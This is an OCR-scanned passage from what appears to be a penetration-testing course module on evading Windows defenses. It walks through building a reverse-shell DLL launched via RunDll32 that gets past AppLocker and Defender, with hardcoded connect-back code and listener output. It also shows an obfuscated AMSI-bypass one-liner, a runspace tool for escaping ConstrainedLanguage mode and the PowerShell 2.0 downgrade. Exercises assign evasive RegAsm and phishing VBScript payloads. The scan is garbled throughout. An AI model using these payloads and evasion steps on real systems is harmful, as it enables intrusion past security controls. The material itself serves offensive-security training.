[ Keep Intermediate Files (IL Code, Resources, ...)

5

[ Single + Double Inf-Inf token patching 2 O -nanfind)

Once the settings are applied, Visual Studio will ask if the projects are to be reloaded. We

do, so we will select Reload AlL.

File Modification Detected

The project 'R5hell_D' has been modified cutside the environment.

Press Reload to load the updated project from disk.
Press Reload All after all external changes and operations are complete to reload all items from disk,
Press Ignore to ignore the external changes. The changes will be used the next time you open the project.

Reload I Reload All ] lgnaore Ignaore All

Now, we can start programming our payload. The following code will be our basic template.
Whatever method marked with [DL1Export("FunctionName")] will be exported when the

program is compiled; we can use any arbitrary name, such as Dl1lMain .

namespace

{

internal class

{
[ ("D1lMain")]

public static void ()

{



Referring to the Dynamic Analysis section, we can modify RShell to fit to this template.
The one differences applied are:

Removing string[] args from the main method
Hardcoding the IP/Port intothe TCP connection code.
Changing the path to PowerShell tothe 32-bit version

<SNIP>
[ ("D1WMain") ]
public static void ()
{
try
{
client = new ();
client. ("10.10.10.10", 1010);

<SNIP>

p.StartInfo.FileName =
"C:\\Windows\\SysWOwW64\\WindowsPowerShell\\v1l.0\\powershell.exe";

<SNIP>

Once the project is ready, we can compile it. If the process path is changed to spawn

the 32-bit version of PowerShell, we only.need to switch Debug to Release . However,
to launch the 64-bit version of PowerShell , we need to go through the same process as
in the previous section, changing Any CPU to x64.

Edit  View Git Project Build Debug Test Analyze Tools

L) - Release - Any CPU - P Start = [>

~ % RShell_D.Program

StreamWriter streamWriter;
rt("D11Main")]

Dl1Main()

TepClient client = new TepClient();
client.Connect("10.10.14.104", 8088);

m stream = client.GetStream();
S leader streamReade ew StreamReader(stream);
streamWriter = new S5tr ter(stream);

Once the compilation settings are set, select Build > Build RShell D to compile the
program.



> H-EEE 9 [ Build Solution

Rebuild Solution

” File  Edit V Git  Project  Build Debug Test  Analyze ions  Window earch - RShell_D

Classl.cs 1 X Clean Solution
RShell_D Run Code Analysis on Solution Alt+F11 = T DliMain(st
i i3 Build RShell D Ctrl+B
Rebuild
Clean
Run Code Al sis on RShell_D
Batch Build...

Configuration Manager...

mWriter streamWriter;

("Dl1Main")]

Once compiled we may use the following command to execute D11Main, and we should get
our reverse shell:

C:\Windows\System32\RunD1132.exe
C:\Tools\RShell D\RShell D\bin\Release\x86\RShell D.dll,DllMain

As expected, the program works, bypassing both AppLocker and Real-time protection.

kali® kali N I rEEE
8080
listening on [any] 8080 ...
connect to [ ] from (UNKNOWN) [ 1 50591
whoami
PS C:\Users\max> whoami
evasion-dev\max

Git Project Build Debug Test Analyze | T

Windows Security
Release ~ AnyCPU Si View and update Virus & threat
‘ settings for Microsoft Defender
Cassl.cs & X Wha
[ RShell_D 2 b =
1® wusing System;
Collect c; Real-time protection

g System.Diagnostic W (Heme Locates and stops malware fron
running on your device. You car
setting for a short time before it
automatically.

ystem.Ling; |O Virus & threat protection
System.Net.Sockets;

T 2
= ) Firewall & network protection

B3 App & browser control

hell_D.d11,Dl11Main

Note: InstalluUtil and RunD1132 are just two of many LOLBINs which may be used to
gain code execution. It is recommended that you look around the LOLBAS project website,
and try developing other payloads to expand your personal arsenal.

PowerShell ConstrainedLanguage Mode
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Introduction to PowerShell ConstrainedLanguage
Mode

The last thing we will cover in this module is PowerShell ConstrainedLanguage Mode. In
PowerShell, there are four different language modes:

FullLanguage : The default language mode, no restrictions.

RestrictedLanguage : Users may run commands, but may not use script blocks.
ConstrainedLanguage : Operations which could be abused by a malicious actor are
restricted.

NoLanguage : Completely disables the PowerShell scripting language

By default, PowerShell sessions use the FullLanguage mode. To find the language mode
used for a session, we can access the value stored in
$ExecutionContext.SessionState.LanguageMode (which is only accessible in sessions
using the FulllLanguage or ConstrainedLanguage modes):

C:\Users\max> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

When AppLocker is configured on a system, the PowerShell mode is automatically set to
ConstrainedLanguage for all users, the exception is PowerShell sessions launched with a
High Integrity Level, which are setto *FullLanguage.

When running in ConstrainedLanguage mode, a lot of restrictions are put into place.
Notably:

Add-Type may not load arbitrary C# or Win32 APIs
Only types from a relatively short whitelist may be used

For example, the first AMSI bypass we looked at can not be run in ConstrainedlLanguage
mode. Although [Ref] is one of the allowed types, "Method invocation is supported
only on core types":

C:\Users\maria>
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetFie
1ld('amsiInit'+'Failed', 'NonPublic,Static').SetValue($null, !$false)

Cannot invoke method. Method invocation is supported only on core types in
this language mode.

At line:1 char:1

+ [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').G

+ CategoryInfo : InvalidOperation: (:) [], RuntimeException


https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.4
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+ FullyQualifiedErrorId :
MethodInvocationNotSupportedInConstrainedLanguage

Bypassing ConstrainedLanguage Mode with
Runspaces
Clearly, ConstrainedLanguage mode is a problem for us as attackers, since a lot of

malicious tooling relies on PowerShell. Luckily, bypassing ConstrainedLanguage mode is
actually quite simple thanks to PowerShell Runspaces.

A PowerShell Runspace is the operating environment for PowerShell commands invoked
by a host application, including what language mode it operates under. When

launching powershell.exe, Windows creates a runspace in the background which
executes all the commands inputted. We may not be able to control this runspace, however
we are able to write our own program which uses a runspace that we configure, which
means we can just create a runspace which does not operate in ConstrainedlLanguage
mode.

To demonstrate this, let's develop a small program which takes in a PowerShell command
as a command line argument and executes it inside a custom runspace. Once again, the first
step is creating a new Visual Studio project, with.the Console App (.NET Framework)
template. We will not need to install any NuGet packages this time, however we do need to
add a reference to the System.Management.Automation namespace, which is located at:

C:\Windows\Microsoft.NET\assembly\GAC MSIL\System.Management.Automation\v4
.0 3.0.0.0_ 31bf3856ad364e35\System.Management.Automation.dll

As we did in a previous section, use Project > Add Reference... to add this namespace
to the project.


https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/creating-runspaces?view=powershell-7.4
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% CLMBypass.Program = [FgMain(string[] args)

b Assemblies ——— p-
Select the files to reference... me:
tem.Configuration.Instzll.dll

« v < Systern.Management... + v4.0_3.0.0.0_31bf3856ad364e35

Organize + New folder
MName Date modified Type
# Quick access

[ Desktop
; Downloads

|%] System.Management.Automation.dIl 1277 30 PM Application exten...

|= Documents

&= Pictures

D< Microsoft Visual Stud

repos
A This PC

¥ Network

< >

File name: | System.Management.Autemation.dil V‘ Component Files (*.dll;* tlk;*.0l ~

Add Cancel

Once that's done, we can begin writing the code. Inside the main method of the program, we
can start by verifying an argument has been passed on the command line. This will be this
PowerShell command we want the program to execute.

<SNIP>
static void (string[] args)
{
if (args.Length == 0) retusnsy
}
<SNIP>

Next, we need to create and open a new runspace. To do this, we will use the
RunspaceFactory class, which is part of the System.Management.Automation.Runspaces

namespace we added a reference to.

<SNIP>

runspace = RunspaceFactory. ();
runspace. ();
<SNIP>

We do not need to configure anything when creating the runspace, since by default
runspaces are created with FullLanguage mode, which is exactly what we want. The next
step is to create a PowerShell object, which is what we will use to execute the command.
The important bit is configuring this object to use the runspace we just defined.


https://learn.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.runspacefactory?view=powershellsdk-7.4.0
https://learn.microsoft.com/en-us/dotnet/api/system.management.automation.powershell?view=powershellsdk-7.4.0

<SNIP>

ps = PowerShell. ();
ps.Runspace = runspace;
<SNIP>

With all that ready, we can add the following code to execute whatever command is passed
as an argument with the PowerShell object, and print the results to the console.

<SNIP>
ps. (String. (" ", args));

< > results = ps. ();
foreach ( obj in results)

{
Console. (obj. ());

runspace. ();
<SNIP>

After configuring the compilation settings to use 64-bit (or leaving it as 32-bit), we can build
the project with Build > Build CLMBypass: and test it out. As we can see, the program
allows us the bypass ConstrainedlLanguage mode:

Release - xB4

Program,|
CLMB

Note: Since ApplLocker is configured, it is necessary to bypass that still. In this case, we can
simply copy CLMBypass.exe to C:\Windows\Tasks .

It is this technique which tools like PowerPick use to bypass ConstrainedlLanguage mode.
The difference is that PowerPick is detected by Microsoft Defender Antivirus.


https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs

Bypassing ConstrainedLanguage Mode by
Downgrading to PowerShell 2.0

If installed, downgrading PowerShell to version 2.0 can also be used to bypass both
ConstrainedLanguage mode and AMSI . This works, because verison 2.0 was released in
2009, back before either of these security features were introduced to PowerShell.

If PowerShell 2.0 is found to be enabled on a target machine, we may force a downgrade
with the -version flag like so:

powershell -version 2

ew-Object Net.WebClient

C:\Users\max> amsiltils

iner

S C:\Users\max> amsiUtils

The main issue with this, is that PowerShell 2.0 has been deprecated since 2017, and so
it is becoming less common to find machines with it still enabled. Regardless, this is a useful
bit of information to know, just in case.

Skills Assessment |

Instructions

Throughout this module, we covered a few different ways to bypass AppLocker, including
two LOLBINs . For the first skill assessment, your task is to develop a suitable payload for
another LOLBIN called RegAsm. This specific technique was not covered in this module, so
you will need to do some research to figure out how to do this. The command your payload
should work with is:


https://devblogs.microsoft.com/powershell/windows-powershell-2-0-deprecation/
https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
af://h2-65
af://h1-66
af://h2-67

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U <YOUR FILE>

Once ready, you should place the compiled payload inside C:\Alpha\SA1 and wait up to a
minute for the victim user to scan the file, carry out their checks and then execute the
command listed above.

To make things slightly more difficult, two of the checks the user will carry out are scanning
your payload against YARA rules which detect NotMalware and RShell. If your payload
matches either one of these rules, the user will not execute the command.

Skills Assessment Il

Introduction to VBScript

For the second skills assessment, you are tasked with creating a VBScript payload that will
be delivered to a victim, simulating phishing to gain a foothold. Since VBScript was not
covered in this module, here is an example payload that executes calc.exe:

Set objShell = CreateObject("WScript.Shell")
objShell.Exec("C:\Windows\System32\calc.exe")

As you can see, the script is quite short, we simply create an instance of \WScript.Shell and
then call the Exec method with the path-of the program which want to execute, which in this
caseis "C:\Windows\System32Xealc.exe" .

E.Y

@ poc.vbs - Notepac m]
File Edit Fommat View Help

Set objShell = CreateObject("WScript.Shell™) * Create WScript.Shell object
objShell.Exec("C:\Windows\System32\calc.exe") ' Execute calc.exe

u Caleul..  —

View Edit Help

Instructions


https://virustotal.github.io/yara/
https://ss64.com/vb/shell.html
af://h1-68
af://h2-69
af://h2-70

As stated above, your task is to develop a VBScript payload. Once ready, place the .vbs
file inside C:\Alpha\SA2 and wait up to a minute for the victim to run their checks, and then
execute the file. The command your payload will be executed with is:

C:\Windows\System32\wscript.exe <YOUR FILE>

Your goal is to read the contents of flag.txt from the victim's desktop .

One thing you should keep in mind is that Windows Script Host ( wscript.exe ) makes use
of AMSI.
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